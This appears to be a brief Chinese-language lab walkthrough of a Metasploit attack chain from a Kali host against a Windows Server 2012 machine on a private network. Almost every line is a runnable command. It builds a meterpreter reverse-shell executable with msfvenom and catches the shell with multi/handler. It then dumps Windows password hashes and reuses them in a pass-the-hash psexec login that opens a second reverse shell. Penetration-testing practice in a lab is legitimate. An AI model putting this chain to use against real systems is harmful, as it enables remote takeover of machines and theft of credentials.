kali ： 192.168.3.136
windows server 2012 ： 192.168.3.129
1、生成一個exe遠控
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.136 LPORT=12345 -f exe > /root/test.exe
2、反彈到kali
啟動msf
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.3.136
set lport 12345
run
3、抓取windows密碼
run post/windows/gather/hashdump
run post/windows/gather/smart_hashdump
4、使用hash進行登錄
use exploit/windows/smb/psexec
設置ip，賬號，hash
set rhosts 192.168.3.129
set SMBuser 用戶名
set SMBPass hash
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.3.136
set lport 1111
反彈成功
